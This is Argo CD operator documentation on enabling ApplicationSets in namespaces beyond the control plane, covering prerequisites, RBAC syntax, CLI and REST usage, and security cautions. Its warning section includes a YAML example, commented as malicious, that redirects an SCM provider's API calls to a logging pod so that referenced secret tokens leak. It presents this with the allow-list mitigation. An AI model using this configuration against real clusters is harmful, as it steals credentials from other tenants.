github.com/argoproj/argo-cd/v2@v2.10.9/docs/operator-manual/applicationset/Appset-Any-Namespace.md (about)

     1  # ApplicationSet in any namespace
     2  
     3  **Current feature state**: Beta
     4  
     5  !!! warning
     6      Please read this documentation carefully before you enable this feature. Misconfiguration could lead to potential security issues.
     7  
     8  ## Introduction
     9  
    10  As of version 2.8, Argo CD supports managing `ApplicationSet` resources in namespaces other than the control plane's namespace (which is usually `argocd`), but this feature has to be explicitly enabled and configured appropriately.
    11  
    12  Argo CD administrators can define a certain set of namespaces where `ApplicationSet` resources may be created, updated and reconciled in. 
    13  
    14  As Applications generated by an ApplicationSet are generated in the same namespace as the ApplicationSet itself, this works in combination with [App in any namespace](../app-any-namespace.md).
    15      
    16  ## Prerequisites
    17  
    18  ### App in any namespace configured
    19  
    20  This feature needs [App in any namespace](../app-any-namespace.md) feature activated. The list of namespaces must be the same.
    21  
    22  ### Cluster-scoped Argo CD installation
    23  
    24  This feature can only be enabled and used when your Argo CD ApplicationSet controller is installed as a cluster-wide instance, so it has permissions to list and manipulate resources on a cluster scope. It will *not* work with an Argo CD installed in namespace-scoped mode.
    25  
    26  ### SCM Providers secrets consideration
    27  
    28  By allowing ApplicationSet in any namespace you must be aware that any secrets can be exfiltrated using `scmProvider` or `pullRequest` generators.
    29  
    30  Here is an example:
    31  
    32  ```yaml
    33  apiVersion: argoproj.io/v1alpha1
    34  kind: ApplicationSet
    35  metadata:
    36    name: myapps
    37  spec:
    38    goTemplate: true
    39    goTemplateOptions: ["missingkey=error"]
    40    generators:
    41    - scmProvider:
    42        gitea:
    43          # The Gitea owner to scan.
    44          owner: myorg
    45          # With this malicious setting, user can send all request to a Pod that will log incoming requests including headers with tokens
    46          api: http://my-service.my-namespace.svc.cluster.local
    47          # If true, scan every branch of every repository. If false, scan only the default branch. Defaults to false.
    48          allBranches: true
    49          # By changing this token reference, user can exfiltrate any secrets
    50          tokenRef:
    51            secretName: gitea-token
    52            key: token
    53    template:
    54  ```
    55  
    56  Therefore administrator must restrict the urls of the allowed SCM Providers (example: `https://git.mydomain.com/,https://gitlab.mydomain.com/`) by setting the environment variable `ARGOCD_APPLICATIONSET_CONTROLLER_ALLOWED_SCM_PROVIDERS` to argocd-cmd-params-cm `applicationsetcontroller.allowed.scm.providers`. If another url is used, it will be rejected by the applicationset controller.
    57  
    58  For example:
    59  ```yaml
    60  apiVersion: v1
    61  kind: ConfigMap
    62  metadata:
    63    name: argocd-cmd-params-cm
    64  data:
    65    applicationsetcontroller.allowed.scm.providers: https://git.mydomain.com/,https://gitlab.mydomain.com/
    66  ```
    67  
    68  !!! note
    69      Please note url used in the `api` field of the `ApplicationSet` must match the url declared by the Administrator including the protocol
    70  
    71  !!! warning
    72      The allow-list only applies to SCM providers for which the user may configure a custom `api`. Where an SCM or PR
    73      generator does not accept a custom API URL, the provider is implicitly allowed.
    74  
    75  If you do not intend to allow users to use the SCM or PR generators, you can disable them entirely by setting the environment variable `ARGOCD_APPLICATIONSET_CONTROLLER_ALLOW_SCM_PROVIDERS` to argocd-cmd-params-cm `applicationsetcontroller.allow.scm.providers` to `false`.
    76  
    77  ### Overview
    78  
    79  In order for an ApplicationSet to be managed and reconciled outside the Argo CD's control plane namespace, two prerequisites must match:
    80  
    81  1. The namespace list from which `argocd-applicationset-controller` can source `ApplicationSets` must be explicitly set using environment variable `ARGOCD_APPLICATIONSET_CONTROLLER_NAMESPACES` or alternatively using parameter `--applicationset-namespaces`.
    82  2. The enabled namespaces must be entirely covered by the [App in any namespace](../app-any-namespace.md), otherwise the generated Applications generated outside the allowed Application namespaces won't be reconciled
    83  
    84  It can be achieved by setting the environment variable `ARGOCD_APPLICATIONSET_CONTROLLER_NAMESPACES` to argocd-cmd-params-cm `applicationsetcontroller.namespaces`
    85  
    86  `ApplicationSets` in different namespaces can be created and managed just like any other `ApplicationSet` in the `argocd` namespace previously, either declaratively or through the Argo CD API (e.g. using the CLI, the web UI, the REST API, etc).
    87  
    88  ### Reconfigure Argo CD to allow certain namespaces
    89  
    90  #### Change workload startup parameters
    91  
    92  In order to enable this feature, the Argo CD administrator must reconfigure the and `argocd-applicationset-controller` workloads to add the `--applicationset-namespaces` parameter to the container's startup command.
    93  
    94  ### Safely template project
    95  
    96  As [App in any namespace](../app-any-namespace.md) is a prerequisite, it is possible to safely template project. 
    97  
    98  Let's take an example with two teams and an infra project:
    99  
   100  ```yaml
   101  kind: AppProject
   102  apiVersion: argoproj.io/v1alpha1
   103  metadata:
   104    name: infra-project
   105    namespace: argocd
   106  spec:
   107    destinations:
   108      - namespace: '*'  
   109  ```
   110  
   111  ```yaml
   112  kind: AppProject
   113  apiVersion: argoproj.io/v1alpha1
   114  metadata:
   115    name: team-one-project
   116    namespace: argocd
   117  spec:
   118    sourceNamespaces:
   119    - team-one-cd
   120  ```
   121  
   122  ```yaml
   123  kind: AppProject
   124  apiVersion: argoproj.io/v1alpha1
   125  metadata:
   126    name: team-two-project
   127    namespace: argocd
   128  spec:
   129    sourceNamespaces:
   130    - team-two-cd
   131  ```
   132  
   133  Creating following `ApplicationSet` generates two Applications `infra-escalation` and `team-two-escalation`. Both will be rejected as they are outside `argocd` namespace, therefore `sourceNamespaces` will be checked
   134  
   135  ```yaml
   136  apiVersion: argoproj.io/v1alpha1
   137  kind: ApplicationSet
   138  metadata:
   139    name: team-one-product-one
   140    namespace: team-one-cd
   141  spec:
   142    goTemplate: true
   143    goTemplateOptions: ["missingkey=error"]
   144    generators:
   145      list:
   146      - name: infra
   147        project: infra-project
   148      - name: team-two
   149        project: team-two-project
   150    template:
   151      metadata:
   152        name: '{{.name}}-escalation'
   153      spec:
   154        project: "{{.project}}"
   155  ```
   156    
   157  ### ApplicationSet names
   158  
   159  For the CLI, applicationSets are now referred to and displayed as in the format `<namespace>/<name>`. 
   160  
   161  For backwards compatibility, if the namespace of the ApplicationSet is the control plane's namespace (i.e. `argocd`), the `<namespace>` can be omitted from the applicationset name when referring to it. For example, the application names `argocd/someappset` and `someappset` are semantically the same and refer to the same application in the CLI and the UI.
   162  
   163  ### Applicationsets RBAC
   164  
   165  The RBAC syntax for Application objects has been changed from `<project>/<applicationset>` to `<project>/<namespace>/<applicationset>` to accommodate the need to restrict access based on the source namespace of the Application to be managed.
   166  
   167  For backwards compatibility, Applications in the argocd namespace can still be referred to as `<project>/<applicationset>` in the RBAC policy rules.
   168  
   169  Wildcards do not make any distinction between project and applicationset namespaces yet. For example, the following RBAC rule would match any application belonging to project foo, regardless of the namespace it is created in:
   170  
   171  
   172  ```
   173  p, somerole, applicationsets, get, foo/*, allow
   174  ```
   175  
   176  If you want to restrict access to be granted only to `ApplicationSets` with project `foo` within namespace `bar`, the rule would need to be adapted as follows:
   177  
   178  ```
   179  p, somerole, applicationsets, get, foo/bar/*, allow
   180  ```
   181  
   182  ## Managing applicationSets in other namespaces
   183  
   184  ### Using the CLI
   185  
   186  You can use all existing Argo CD CLI commands for managing applications in other namespaces, exactly as you would use the CLI to manage applications in the control plane's namespace.
   187  
   188  For example, to retrieve the `ApplicationSet` named `foo` in the namespace `bar`, you can use the following CLI command:
   189  
   190  ```shell
   191  argocd appset get foo/bar
   192  ```
   193  
   194  Likewise, to manage this applicationSet, keep referring to it as `foo/bar`:
   195  
   196  ```bash
   197  # Delete the application
   198  argocd appset delete foo/bar
   199  ```
   200  
   201  There is no change on the create command as it is using a file. You just need to add the namespace in the `metadata.namespace` field.
   202  
   203  As stated previously, for applicationSets in the Argo CD's control plane namespace, you can omit the namespace from the application name.
   204  
   205  ### Using the REST API
   206  
   207  If you are using the REST API, the namespace for `ApplicationSet` cannot be specified as the application name, and resources need to be specified using the optional `appNamespace` query parameter. For example, to work with the `ApplicationSet` resource named `foo` in the namespace `bar`, the request would look like follows:
   208  
   209  ```bash
   210  GET /api/v1/applicationsets/foo?appsetNamespace=bar
   211  ```
   212  
   213  For other operations such as `POST` and `PUT`, the `appNamespace` parameter must be part of the request's payload.
   214  
   215  For `ApplicationSet` resources in the control plane namespace, this parameter can be omitted.
   216  
   217  ## Clusters secrets consideration
   218  
   219  By allowing ApplicationSet in any namespace you must be aware that clusters can be discovered and used. 
   220  
   221  Example:
   222  
   223  Following will discover all clusters
   224  
   225  ```yaml
   226  spec:
   227    generators:
   228    - clusters: {} # Automatically use all clusters defined within Argo CD
   229  ```
   230  
   231  If you don't want to allow users to discover all clusters with ApplicationSets from other namespaces you may consider deploying ArgoCD in namespace scope or use OPA rules.